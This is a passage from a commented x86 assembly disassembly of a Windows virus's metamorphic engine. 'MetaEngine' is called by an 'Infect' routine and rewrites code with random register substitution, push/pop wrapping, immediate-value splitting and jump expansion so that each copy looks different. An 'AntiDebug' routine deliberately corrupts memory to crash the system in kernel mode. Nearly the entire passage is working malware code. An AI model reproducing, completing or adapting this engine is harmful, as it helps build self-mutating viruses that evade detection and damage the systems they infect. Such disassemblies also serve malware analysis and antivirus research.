or al, 101000b ; set [reg/opcode] field = 101 (SUB)
stosb ; store
call Random ; get random number
and al, 7Fh ; set it between 0 - 7F
stosb ; store
add cl, al ; cl += random
GenOpRegRandomReg8: ; CODE XREF: MetaEngine+640j
movsb ; copy original opcode byte
lodsb ; al = ModRM
and al, 11111000b ; save [mod] and [reg/opcode] fields
add al, bl ; add random register
stosb ; store
mov al, cl ; al = random number
stosb ; store
add esi, 1 ; increase code counter
jmp short GenPopRandomReg
; ___________________________________________________________________________
GenAddRandomReg32: ; CODE XREF: MetaEngine+624j
mov ecx, [esi+2] ; ecx = imm32
mov al, 81h ; al = OP r/m32, imm32
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, bl ; al = random register
or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD
cmp ecx, 0 ; check sign of imm32
js short GenSubRandomReg32
stosb ; store
call Random ; get random number
and eax, 7FFh ; set it between 0 - 77F
stosd ; store dword
sub ecx, eax ; ecx -= random
jmp short GenOpRegRandomReg32
; ___________________________________________________________________________
GenSubRandomReg32: ; CODE XREF: MetaEngine+66Bj
or al, 101000b ; set [reg/opcode] field = 101 (SUB)
stosb ; store
call Random ; get random number
and eax, 77Fh ; set it between 0 - 77F
stosd ; store dword
add ecx, eax ; ecx += random
GenOpRegRandomReg32: ; CODE XREF: MetaEngine+67Bj
movsb ; copy original opcode byte
lodsb ; al = ModRM
and al, 11111000b ; clear the [reg] field
add al, bl ; add random reg
stosb ; store
mov eax, ecx ; eax = random dword
stosd ; store dword
add esi, 4 ; incrase code pointer by 4
GenPopRandomReg: ; CODE XREF: MetaEngine+65Cj
mov al, bl ; al = random register
add al, 58h ; Generate POP RandomReg
stosb ; store
jmp LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine
; _______________ S U B R O U T I N E _______________________________________
; dl = *esi & 1
GetWBit proc near ; CODE XREF: MetaEngine+600p
; GetRandomReg8p
mov dl, [esi]
and dl, 1
GetWBit endp
; _______________ S U B R O U T I N E _______________________________________
; returns: dh(w=1)=FB; dh(w=0)=FF;
ModifyDh proc near ; CODE XREF: MetaEngine+7BCp
mov dh, dl ; dh = w bit
xor dh, 1 ; inverse
rol dh, 2
xor dh, 11111111b
retn
ModifyDh endp
; _______________ S U B R O U T I N E _______________________________________
; returns: bl = random reg value (0-7)
GetRandomReg8 proc near ; CODE XREF: MetaEngine+733p
; MetaEngine+77Ap ...
call GetWBit ; dl = *esi & 1
cmp dl, 0 ; is it 8bit?
jnz short GetRandomReg32 ; no, go to the 32bit version
GetReg8: ; CODE XREF: GetRandomReg8+24j
; GetRandomReg8+38j
call Random ; get random number
and al, 111b ; make it bwtween 0-7
mov cl, al ; cl = random number
and cl, dh
mov ch, [esi+1] ; ch = ModRM
cmp ch, 11000000b
jb short CheckReg8
and ch, dh
CheckReg8: ; CODE XREF: GetRandomReg8+1Bj
and ch, 111b ; keep the last 3 bits
cmp cl, ch ; the same register?
jz short GetReg8 ; get another one
cmp bh, 0
jnz short ret_RandomReg8
mov ch, [esi+1] ; ch = ModRM
ror ch, 3 ; check the [reg/opcode] field
and ch, 111b
and ch, dh
cmp cl, ch ; the same register?
jz short GetReg8 ; get another one
ret_RandomReg8: ; CODE XREF: GetRandomReg8+29j
mov bl, al ; bl = random register
retn
GetRandomReg8 endp
; _______________ S U B R O U T I N E _______________________________________
GetRandomReg32 proc near ; CODE XREF: MetaEngine+605p
; GetRandomReg8+8j ...
call Random ; get random number
and al, 111b ; make it between 0-7 (a register)
cmp al, 4 ; ESP?
jz short GetRandomReg32 ; avoid
cmp al, 5 ; EBP?
jz short GetRandomReg32 ; avoid
mov cl, al ; cl = random reg
mov ch, [esi+1] ; ch = ModRM
cmp ch, 11000000b
jb short loc_40270A
and cl, dh
and ch, dh
loc_40270A: ; CODE XREF: GetRandomReg32+17j
and ch, 111b ; keep last 3 bits
cmp cl, ch ; is the [reg] field in ModRM == random reg?
jz short GetRandomReg32 ; yes, choose another register
cmp bh, 0 ; if (flag) == false
jnz short ret_RandomReg32
mov cl, al ; cl = random reg
and cl, dh
mov ch, [esi+1] ; ch = ModRM
ror ch, 3
and ch, 111b ; keep last 3 bits
and ch, dh
cmp cl, ch
jz short GetRandomReg32
ret_RandomReg32: ; CODE XREF: GetRandomReg32+27j
mov bl, al ; bl = random reg
retn
GetRandomReg32 endp
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine
Morph2: ; CODE XREF: MetaEngine:jmp_Mutatej
mov bh, 0
call GetRandomReg8 ; returns: bl = random reg value (0-7)
call MakePushRandomReg ; store (bl & dh) + 50h
mov al, 8Ah ; Generate MOV r8,r/m8
add al, dl ; dl = w bit
stosb ; store (8A or 8B)
mov al, [esi+1] ; al = ModRM
and al, 111000b ; save the [reg/opcode] field
ror al, 3 ; move first reg to the [reg] field
mov ah, bl ; ah = random reg
rol ah, 3 ; move random reg ro the [reg/opcode] field
add al, ah ; add it
or al, 11000000b ; set [mod] = 11
stosb ; store
mov al, [esi] ; al = original opcode
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 11000111b ; save [reg/opcode] field
mov ah, bl ; ah = random reg
rol ah, 3 ; save random reg in the [reg/opcode] field
add al, ah ; add random reg to ModRM
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code pointer by 2
rep movsb ; copy displacement
call MakePopRandomReg ; store (bl & dh) + 58h
jmp LoadInstruction
; ___________________________________________________________________________
Morph3: ; CODE XREF: MetaEngine:_jmp_Mutatej
mov bh, 0
call GetRandomReg8 ; returns: bl = random reg value (0-7)
call MakePushRandomReg ; store (bl & dh) + 50h
mov al, [esi] ; al = opcode
and al, 11111110b ; clear w bit
cmp al, 8Ah ; MOV r8, r/m8?
jz short Morph3_Continue ; jump to 8 bit version
mov al, 88h ; Generate MOV r32, r/m32
add al, dl ; add the w bit
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 111000b ; clear the [reg] field
add al, bl ; add random register
or al, 11000000b ; set [mod] = 11
stosb ; store
Morph3_Continue: ; CODE XREF: MetaEngine+78Aj
mov al, [esi] ; al = original opcode
mov dh, al ; dh = original opcode
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 11000111b ; clear [reg/opcode] field
mov ah, bl ; ah = random register
rol ah, 3 ; place it in the [reg/opcode] field
add al, ah ; add to ModRM
stosb ; store ModRM
mov bh, [esi+1] ; bh = original ModRM
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code counter by 2
rep movsb ; copy displacement
mov al, dh ; al = opcode
call ModifyDh ; returns: dh(w=1)=FB; dh(w=0)=FF;
and al, 11111110b ; clear w bit
cmp al, 3Ah ; CMP r8, r/m8?
jz short Wrap_Morph3
mov al, 8Ah ; al = MOV r8, r/m8, direction flag set
add al, dl ; add the w bit
stosb ; store opcode
mov al, bh ; al = original ModRM
and al, 111000b ; clear the [reg] field
add al, bl ; add random register
or al, 11000000b ; set [mod] = 11
stosb
Wrap_Morph3: ; CODE XREF: MetaEngine+7C5j
call MakePopRandomReg ; store (bl & dh) + 58h
jmp LoadInstruction
; ___________________________________________________________________________
Morph4: ; CODE XREF: MetaEngine:__jmp_Mutatej
call GetRandomReg8 ; returns: bl = random reg value (0-7)
call MakePushRandomReg ; store (bl & dh) + 50h
mov al, dl ; al = w bit
rol al, 3 ; move the w bit 3 bits left
add al, 0B0h ; Generate MOV r8/32, imm8/32
; B0 = 1011 w reg
add al, bl ; add random register
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add ecx, esi ; add location+displacement
mov eax, [ecx+2] ; eax = original immediate
cmp dl, 0 ; check the w bit
jz short StoreOneByte ; store one byte
stosd ; store dword
jmp short Morph4_Continue
; ___________________________________________________________________________
StoreOneByte: ; CODE XREF: MetaEngine+800j
stosb ; store one byte
Morph4_Continue: ; CODE XREF: MetaEngine+803j
mov al, bh ; bh = opcode saved before call to this routine
add al, dl ; add the w bit
stosb ; store
mov al, [esi+1] ; al = original ModRM
and al, 11000111b ; clear the [reg/opcode] field
mov ah, bl ; ah = random reg
rol ah, 3 ; place it in the [reg/opcode] field
add al, ah ; add to ModRM byte
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code pointer by 2
rep movsb ; copy displacement
add esi, 1 ; increase code pointer
cmp dl, 0 ; check w bit
jz short Wrap_Morph4
add esi, 3 ; increase code pointer by 3
Wrap_Morph4: ; CODE XREF: MetaEngine+828j
call MakePopRandomReg ; store (bl & dh) + 58h
jmp LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine
; _______________ S U B R O U T I N E _______________________________________
; store (bl & dh) + 50h
MakePushRandomReg proc near ; CODE XREF: MetaEngine+738p
; MetaEngine+77Fp ...
mov al, bl
and al, dh
add al, 50h
stosb
retn
MakePushRandomReg endp
; _______________ S U B R O U T I N E _______________________________________
; store (bl & dh) + 58h
MakePopRandomReg proc near ; CODE XREF: MetaEngine+76Ep
; MetaEngine:Wrap_Morph3p ...
mov al, bl
and al, dh
add al, 58h
stosb
retn
MakePopRandomReg endp
; START OF FUNCTION CHUNK FOR MetaEngine
AntiDebug: ; CODE XREF: CODE:00401068j
; MetaEngine+1E9j
cmp byte ptr [ebx+7], 0BFh ; are we in kernel mode?
jnz short ret_AntiDebug
mov ecx, 1000h ; counter = 1000h
mov edi, 40000000h
or edi, 80000000h
add edi, ecx ; edi = C0001000h
rep stosd ; copy bytes to edi
ret_AntiDebug: ; CODE XREF: MetaEngine-17j
retn ; return
; END OF FUNCTION CHUNK FOR MetaEngine
; this will result in a crash
; since this routine wasn't CALLed
; _______________ S U B R O U T I N E _______________________________________
; Attributes: bp-based frame
MetaEngine proc near ; CODE XREF: Infect+11Bp
RelocStart = dword ptr -8
RelocCurrent = dword ptr -4
inBuf = dword ptr 8
sizeOfCode = dword ptr 0Ch
outBuf = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi ; save registers
push edi
mov eax, [ebp+sizeOfCode] ; eax = size of code
shl eax, 4 ; multiply by 16
push eax
call callVirtualAlloc ; allocate memory
mov [ebp+RelocStart], eax ; save pointer
mov [ebp+RelocCurrent], eax
mov esi, [ebp+inBuf] ; esi = *source buffer
mov edi, [ebp+outBuf] ; edi = *destination buffer
LoadInstruction: ; CODE XREF: MetaEngine+52j
; MetaEngine+ABj ...
mov ebx, [ebp+RelocCurrent]
add [ebp+RelocCurrent], 10h ; allocate 16 bytes for each instruction
mov [ebx], esi ; set Pointer to Instruction in the Input Buffer
mov [ebx+4], edi ; set Pointer to Mutated Instruction in Output Buffer
xor eax, eax ; eax = 0
mov [ebx+8], eax ; set Pointer to offset of New Relative = 0
cmp esi, [ebp+inBuf] ; are we in the beginning of the code?
jz isJccShort ; yes, start analyzing the code
mov eax, esi ; eax = *current instruction
sub eax, [ebp+inBuf] ; eax -= *start address
cmp eax, [ebp+sizeOfCode] ; are we done?
jnb FixRelocations
mov al, [esi] ; al = opcode
cmp al, 90h ; NOP?
jnz short isPushR32
add esi, 1 ; increase counter (instruction not stored)
jmp short LoadInstruction ; load next instruction
; ___________________________________________________________________________
isPushR32: ; CODE XREF: MetaEngine+4Dj
mov cl, [edi-1] ; cl = last written byte
cmp cl, 50h ; PUSH EAX?
jb isJccShort
cmp cl, 52h ; PUSH EAX/ECX/EDX?
ja isJccShort
mov eax, [ebx] ; eax = [ebx] = [[DisasmCurrent]]
sub eax, [ebx-10h] ; eax -= [[DisasmCurrent]-16]
cmp eax, 1 ; was it only a 1-byte instruction?
jnz isJccShort ; no, disasm next instruction
call Rnd7 ; returns random eax (0 to 7)
jnz isJccShort ; mutate?
sub cl, 50h ; get the register used
MutatePush: ; CODE XREF: MetaEngine+D0j
; MetaEngine+EAj
call Random ; get random number
and al, 3 ; make it between 0 - 3
cmp al, 1 ; al = 1?
jz short MakeMovRegRandom32
cmp al, 2 ; al = 2?
jz short MakeOpRegRandomReg
cmp al, 3 ; al = 3?
jz short MakeMovRegRandom8
mov al, 8Bh ; al = MOV r32, r/m32
stosb ; store
mov al, cl ; al = register
rol al, 3 ; place it in the [reg/opcode] field
or al, 1000101b ; set [mod] = 01, [reg] = 101 (ebp)
stosb ; store
call Random ; get random number
and al, 3Ch ; make it between 0 to 3C
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovRegRandom32: ; CODE XREF: MetaEngine+8Ej
mov al, cl ; al = register
add al, 0B8h ; MOV r32,imm32
stosb ; store
call GetRandomDword ; get random dword
stosd ; store dword
jmp LoadInstruction
; ___________________________________________________________________________
MakeOpRegRandomReg: ; CODE XREF: MetaEngine+92j
call Random ; get random number
mov ah, al ; save it in ah
or ah, 11000000b ; set [mod] = 11
and ah, 11111000b ; clear [reg] field
cmp ah, 11111000b ; is [reg/opcode] == 111 (CMP)?
jz short MutatePush ; try another mutation
mov al, 81h ; al = OP r/m32, imm32
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, ah ; al = random ModRM
add al, cl ; add register
stosb ; store
call GetRandomDword ; get random dword
stosd ; store dword
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovRegRandom8: ; CODE XREF: MetaEngine+96j
mov al, [edi-1] ; al = last written opcode
cmp al, 54h ; PUSH ESP/EBP/ESI/EDI?
jnb short MutatePush ; avoid
call Random ; get random number
and al, 100b ; make it 0 to 4
add al, cl ; add register
add al, 0B0h ; al = MOV r8, imm8
stosb ; store
call Random ; get random byte
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
isJccShort: ; CODE XREF: MetaEngine+35j
; MetaEngine+5Aj ...
mov al, [esi] ; al = opcode
cmp al, 70h ; is it a Jcc?
jb short isBranchShort
cmp al, 80h ; if it's between 70h to 7Fh, it is a Jcc
jb short ModifyJcc
cmp al, 0EBh ; is it a JMP short?
jnz short isBranchShort
mov al, 0E9h ; Generate a JMP near
jmp short ModifyJccAddress
; ___________________________________________________________________________
ModifyJcc: ; CODE XREF: MetaEngine+10Bj
mov byte ptr [edi], 0Fh ; set 0F opcode
add al, 10h ; add 10h
; (70 xx = JO short xx)
; (0F 80 xx = JO near xx)
add edi, 1 ; increase output counter
ModifyJccAddress: ; CODE XREF: MetaEngine+113j
stosb ; store
mov [ebx+8], edi ; save edi in the OffsetNewRelative field
mov al, [esi+1] ; al = relative address
add al, 2 ; al += 2, because we added two bytes
call InvertSign
mov [ebx+0Ch], eax ; save eax in the NewRelative field
add esi, 2 ; increase code pointer by 2
add edi, 4 ; increase output pointer by 4 (dword)
jmp LoadInstruction
; ___________________________________________________________________________
isBranchShort: ; CODE XREF: MetaEngine+107j
; MetaEngine+10Fj
cmp al, 0E8h ; a CALL short?
jz short ModifyBranchAddress
cmp al, 0E9h ; a JMP short?
jz short ModifyBranchAddress
cmp al, 0Fh ; a special opcode 0F?
jnz short isEspUsed
mov cl, [esi+1] ; get next byte
cmp cl, 80h ; Jcc near?
jb AbortEngine ; is it between 80h and 90h?
cmp cl, 90h ; The engine doesn't support 0F xx instructions
jnb AbortEngine
stosb ; store 0F opcode
add esi, 1 ; increase code pointer
mov al, cl ; al = second opcode
ModifyBranchAddress: ; CODE XREF: MetaEngine+13Bj
; MetaEngine+13Fj
stosb ; save branch type
mov [ebx+8], edi ; save edi in the OffsetNewRelative field
add esi, 1 ; increase code pointer
lodsd ; load the address
add eax, 4 ; eax += 4
sub eax, [ebx+4] ; get OutputIP
add eax, edi ; add OutputBuffer
mov [ebx+0Ch], eax ; save eax in the NewRelative field
add edi, 4 ; increase output pointer by 4 (dword)
jmp LoadInstruction
; ___________________________________________________________________________
isEspUsed: ; CODE XREF: MetaEngine+143j
cmp al, 81h ; OP r/m32, imm32?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jnz short isRet_isC0_is83
mov ah, [esi+1] ; ah = ModRM
cmp ah, 0C4h ; ADD ESP, imm32?
jz short Store6Bytes ; avoid
cmp ah, 0ECh ; SUB ESP, imm32?
jnz short isRet_isC0_is83 ; avoid
Store6Bytes: ; CODE XREF: MetaEngine+185j
mov cl, 6
jmp StoreBytes
; ___________________________________________________________________________
isRet_isC0_is83: ; CODE XREF: MetaEngine+17Dj
; MetaEngine+18Aj
cmp al, 0C3h ; RET?
jnb short isD0_D4
cmp al, 0C0h ; OP r/m8, imm8?
; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
jnb short Store3Bytes
cmp al, 83h ; OP r/m32, imm8?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jnz short isD0_D4
mov ah, [esi+1] ; ah = ModRM
cmp ah, 0C4h ; ADD ESP, imm8?
jz short Store3Bytes ; avoid
cmp ah, 0ECh ; SUB ESP, imm8?
jnz short isD0_D4 ; avoid
Store3Bytes: ; CODE XREF: MetaEngine+199j
; MetaEngine+1A5j
mov cl, 3
jmp StoreBytes
; ___________________________________________________________________________
isD0_D4: ; CODE XREF: MetaEngine+195j
; MetaEngine+19Dj ...
cmp al, 0D0h ; OP r/m8, imm8?
; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
jb short isInt_isMovEbpEsp
cmp al, 0D4h ; D0 - D3
jb short Store2Bytes ; avoid
isInt_isMovEbpEsp: ; CODE XREF: MetaEngine+1B5j
cmp al, 0CDh ; INT?
jz short Store2Bytes ; avoid
cmp al, 8Bh ; MOV r32, r/m32?
jnz short isRep_isF6_isF7
cmp byte ptr [esi+1], 0ECh ; 8B EC = MOV EBP, ESP
jz short CheckRegOpcodeField
isRep_isF6_isF7: ; CODE XREF: MetaEngine+1C1j
cmp al, 0F3h ; REP prefix?
jz short Store2Bytes ; avoid
cmp al, 0F6h ; OP r/m8?
; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
jz short CheckRegOpcodeField
cmp al, 0F7h ; OP r/m32?
; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
jnz short isInt3_Ret_PushReg
CheckRegOpcodeField: ; CODE XREF: MetaEngine+1C7j
; MetaEngine+1CFj
mov ah, [esi+1] ; ah = ModRM
and ah, 111000b ; save [reg/opcode] field
cmp ah, 0 ; is it empty?
jz short isInt3_Ret_PushReg ; yes, skip
Store2Bytes: ; CODE XREF: MetaEngine+1B9j
; MetaEngine+1BDj ...
mov cl, 2
jmp StoreBytes
; ___________________________________________________________________________
isInt3_Ret_PushReg: ; CODE XREF: MetaEngine+1D3j
; MetaEngine+1DEj
cmp al, 0CCh ; INT 3?
jz AntiDebug
cmp al, 0C3h ; RET?
jz short StoreOneByteOpcode
cmp al, 50h ; PUSH r32 / POP r32?
jb short isMovTestRmReg
cmp al, 60h ; check if it's between 50 to 60
jnb short isMovTestRmReg
StoreOneByteOpcode: ; CODE XREF: MetaEngine+1F1j
movsb ; copy one byte from source to destination
jmp LoadInstruction
; ___________________________________________________________________________
isMovTestRmReg: ; CODE XREF: MetaEngine+1F5j
; MetaEngine+1F9j
cmp al, 88h ; MOV r/m8, r8?
jz short Mutate?
cmp al, 89h ; MOV r/m32, r32?
jz short Mutate?
cmp al, 84h ; TEST r/m8, r8?
jz short Mutate?
cmp al, 85h ; TEST r/m32, r32?
jz short Mutate?
cmp al, 40h ; is opcode < 40?
jnb short isMovLeaRegRm
mov ah, al ; ah = opcode
and ah, 111b ; save last 3 bits
cmp ah, 0 ; OP r/m8, r8
jz short Mutate?
cmp ah, 1 ; OP r/m32, r32?
jnz short isMovLeaRegRm
Mutate?: ; CODE XREF: MetaEngine+203j
; MetaEngine+207j ...
call Rnd7 ; returns random eax (0 to 7)
jz short CheckModRM ; mutate if eax = 0 (1/8 probability)
jmp StoreDisplacementPlus2 ; else, skip this instruction
; ___________________________________________________________________________
CheckModRM: ; CODE XREF: MetaEngine+229j
mov cl, [esi+1] ; cl = ModRM
and cl, 11000000b ; save the [mod] field
cmp cl, 0 ; [mod] == 00?
jz short jmp_Mutate
cmp cl, 11000000b ; [mod] == 11?
jz short jmp_Mutate
call Random ; get random number
and al, 1 ; make it 0 or 1
cmp al, 0 ; is it 0?
jz Morph1 ; mutate
jmp_Mutate: ; CODE XREF: MetaEngine+239j
; MetaEngine+23Ej
jmp Morph2 ; mutate
; ___________________________________________________________________________
isMovLeaRegRm: ; CODE XREF: MetaEngine+213j
; MetaEngine+222j
cmp al, 8Ah ; MOV r8, r/m8?
jz short _Mutate?
cmp al, 8Bh ; MOV r32, r/m32?
jz short _Mutate?
cmp al, 8Dh ; LEA r32, mem?
jz short _Mutate?
cmp al, 40h ; is opcode < 40?
jnb short isFE_isFF
mov ah, al
and ah, 111b ; keep last 3 bits
cmp ah, 2 ; OP r8, r/m8?
jz short _Mutate?
cmp ah, 3 ; OP r32, r/m32?
jnz short isFE_isFF
_Mutate?: ; CODE XREF: MetaEngine+256j
; MetaEngine+25Aj ...
call Rnd7 ; returns random eax (0 to 7)
jz short _CheckModRM ; mutate if eax = 0 (1/8 probability)
jmp StoreDisplacementPlus2 ; else, skip this instruction
; ___________________________________________________________________________
_CheckModRM: ; CODE XREF: MetaEngine+278j
mov cl, [esi+1] ; cl = ModRM
and cl, 11000000b ; save the [mod] field
cmp cl, 0 ; [mod] == 00?
jz short _jmp_Mutate
cmp cl, 11000000b ; [mod] == 11?
jz short _jmp_Mutate
call Random ; get random number
and al, 1 ; make it 1 or 0
cmp al, 0 ; is it zero?
jz Morph1 ; mutate
_jmp_Mutate: ; CODE XREF: MetaEngine+288j
; MetaEngine+28Dj
jmp Morph3 ; mutate
; ___________________________________________________________________________
isFE_isFF: ; CODE XREF: MetaEngine+262j
; MetaEngine+271j
cmp al, 0FEh ; INC/DEC r/m8?
jz short MakeMovRegPushReg
cmp al, 0FFh ; OP r/m32?
; (INC/DEC/JMP/CALL/PUSH)
jnz short isMovReg8Imm8?
MakeMovRegPushReg: ; CODE XREF: MetaEngine+2A5j
mov al, [esi+1] ; al = ModRM
and al, 111000b ; keep the [reg/opcode] field
ror al, 3 ; place it in the [reg] field
cmp al, 111b ; opcode == 111?
jz AbortEngine ; exit engine
cmp al, 110b ; opcode != 110 (PUSH)?
jnz StoreDisplacementPlus2 ; skip
mov al, 8Bh ; Generate MOV EAX, r/m32
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 11000111b ; keep [mod] and [reg] fields
; set [reg/opcode] = 000
stosb ; store ModRM byte
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code counter by 2
rep movsb ; store address
mov al, 50h ; Generate PUSH EAX
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
isMovReg8Imm8?: ; CODE XREF: MetaEngine+2A9j
cmp al, 0B0h ; MOV r8, imm8?
jb short isMovReg32Imm32
cmp al, 0B8h ; check if it's between B0 to B8
jnb short isMovReg32Imm32
call Rnd7 ; returns random eax (0 to 7)
jz short MakeAddRegRandom8 ; mutate?
mov cl, 2 ; skip
jmp StoreBytes
; ___________________________________________________________________________
MakeAddRegRandom8: ; CODE XREF: MetaEngine+2EBj
; MetaEngine+2FBj
call Random ; get random
and al, 11b ; make it between 1 - 3
jz short MakeAddRegRandom8 ; if it's zero, try again
mov dh, al ; dh = random selection
movsb ; store opcode
call Random ; get random number
mov cl, al ; save it in CL
stosb ; store random byte
mov al, 80h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
stosb ; store operation
mov al, [esi-1] ; get original instruction opcode
sub al, 0B0h ; subtract opcode, al = register used
cmp dh, 2 ; if random == 2, Generate SUB
jz short MakeSubRegRandom8
cmp dh, 3 ; if random == 3, Generate XOR
jz short MakeXorRegRandom8
or al, 11000000b ; Generate ADD (ModRM = 11 000 reg)
stosb ; store ModRM
lodsb ; load the original immediate value
sub al, cl ; subtract the random value
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeSubRegRandom8: ; CODE XREF: MetaEngine+313j
or al, 11101000b ; Generate SUB (ModRM = 11 101 reg)
stosb ; store ModRM
lodsb ; load the original immediate value
sub al, cl ; al -= random value
mov ah, al ; save al in ah
mov al, 0
sub al, ah ; al = -al
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeXorRegRandom8: ; CODE XREF: MetaEngine+318j
or al, 11110000b ; Generate XOR (ModRM = 11 110 reg)
stosb ; store ModRM
lodsb ; load the original immediate value
xor al, cl ; xor the value with a random value
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
isMovReg32Imm32: ; CODE XREF: MetaEngine+2E0j
; MetaEngine+2E4j
cmp al, 0B8h ; MOV r32, imm32?
jb short MakeMovPush1
cmp al, 0C0h ; check if it's between B8 - C0
jnb short MakeMovPush1
call Rnd7 ; returns random eax (0 to 7)
jz short MakeAddRegRandom32 ; mutate?
mov cl, 5 ; skip
jmp StoreBytes
; ___________________________________________________________________________
MakeAddRegRandom32: ; CODE XREF: MetaEngine+351j
; MetaEngine+363j
call Random ; get random number
and al, 11b ; make it between 1 - 3
cmp al, 0 ; if it's zero,
jz short MakeAddRegRandom32 ; then try again
mov ah, al ; ah = random selection
movsb ; store opcode
call GetRandomDword ; returns a random dword in EAX
mov ecx, eax ; ecx = random dword
stosd ; store random dword
mov al, 81h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
stosb ; store operation
mov al, [esi-1] ; get original instruction opcode
sub al, 0B8h ; get the register used
cmp al, 2 ; if random == 2, Generate SUB
jz short MakeSubRegRandom32
cmp al, 3 ; if random == 3, Generate XOR
jz short MakeXorRegRandom32
or al, 11000000b ; Generate ADD (ModRM = 11 000 reg)
stosb ; store ModRM
lodsd ; load the original immediate value
sub eax, ecx ; subtract the random value
stosd ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeSubRegRandom32: ; CODE XREF: MetaEngine+37Aj
or al, 11101000b ; Generate SUB (ModRM = 11 101 reg)
stosb ; store ModRM
lodsd ; load the original immediate value
sub eax, ecx ; eax -= random
mov ecx, eax ; save eax
mov eax, 0
sub eax, ecx ; eax = -eax
stosd ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeXorRegRandom32: ; CODE XREF: MetaEngine+37Ej
or al, 11110000b ; Generate XOR (ModRM = 11 110 reg)
stosb ; store ModRM
lodsd ; load the original immediate value
xor eax, ecx ; xor the value with a random value
stosd ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovPush1: ; CODE XREF: MetaEngine+346j
; MetaEngine+34Aj
cmp al, 68h ; PUSH imm32?
jnz short MakeMovPush2
add esi, 1 ; increase code pointer
mov al, 0B8h ; Generate MOV r32, imm32
stosb ; store
movsd ; write next 4 bytes
mov al, 50h ; Generate PUSH r32
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovPush2: ; CODE XREF: MetaEngine+3AFj
cmp al, 6Ah ; PUSH imm8?
jnz short MakeMOVSB
add esi, 1 ; increase code pointer
mov al, 0B8h ; make MOV r32, imm32
stosb ; store
lodsb ; load byte (imm8)
call InvertSign
stosd ; store dword (imm32)
mov al, 50h ; make PUSH r32
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMOVSB: ; CODE XREF: MetaEngine+3C2j
cmp al, 0A4h ; MOVSB?
jnz short MakeMOVSD
add esi, 1 ; Replace A4 with the following sequence:
mov eax, 83068A50h ; 50 push eax
stosd ; 8A 06 mov al, [esi]
mov eax, 78801C6h ; 83 C6 01 add esi, 1
stosd ; 88 07 mov [edi], al
mov eax, 5801C783h ; 83 C7 01 add edi, 1
stosd ; 58 pop eax
jmp LoadInstruction
; ___________________________________________________________________________
MakeMOVSD: ; CODE XREF: MetaEngine+3DBj
cmp al, 0A5h ; MOVSD?
jnz short MakeSTOSB
add esi, 1 ; Replace A5 with the following sequence:
mov eax, 83068B50h ; 50 push eax
stosd ; 8B 06 mov eax, [esi]
mov eax, 78904C6h ; 83 C6 04 add esi, 4
stosd ; 89 07 mov [edi], eax
mov eax, 5804C783h ; 83 C7 04 add edi, 4
stosd ; 58 pop eax
jmp LoadInstruction
; ___________________________________________________________________________
MakeSTOSB: ; CODE XREF: MetaEngine+3F9j
cmp al, 0AAh ; STOSB?
jnz short MakeSTOSD
add esi, 1 ; Replace AA with the following sequence:
mov eax, 0C7830788h ; 88 07 mov [edi], al
stosd ; 83 C7 01 add edi, 1
mov al, 1
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeSTOSD: ; CODE XREF: MetaEngine+417j
cmp al, 0ABh ; STOSD?
jnz short MakeLODSB
add esi, 1 ; Replace AB with the following sequence:
mov eax, 0C7830789h ; 88 07 mov [edi], eax
stosd ; 83 C7 04 add edi, 4
mov al, 4
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeLODSB: ; CODE XREF: MetaEngine+42Cj
cmp al, 0ACh ; LODSB?
jnz short MakeLODSD
add esi, 1 ; Replace AC with the following sequence:
mov eax, 0C683068Ah ; 8A 06 mov al, [esi]
stosd ; 83 C6 01 add esi, 1
mov al, 1
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeLODSD: ; CODE XREF: MetaEngine+441j
cmp al, 0ADh ; LODSD?
jnz short MakeOpRm8Imm8
add esi, 1 ; Replace AD with the following sequence:
mov eax, 0C683068Bh ; 8B 06 mov eax, [esi]
stosd ; 83 C6 04 add esi, 4
mov al, 4
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeOpRm8Imm8: ; CODE XREF: MetaEngine+456j
cmp al, 40h ; opcode < 40?
jnb short MakeTestImm8
mov ah, al
and ah, 111b ; save last 3 bits
cmp ah, 4 ; OP AL, imm8?
jnz short MakeOpEaxImm32
mov al, 80h ; Generate OP r/m8, imm8
; ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
stosb
mov al, [esi] ; load the same instruction again
and al, 111000b ; keep the [reg/opcode] field
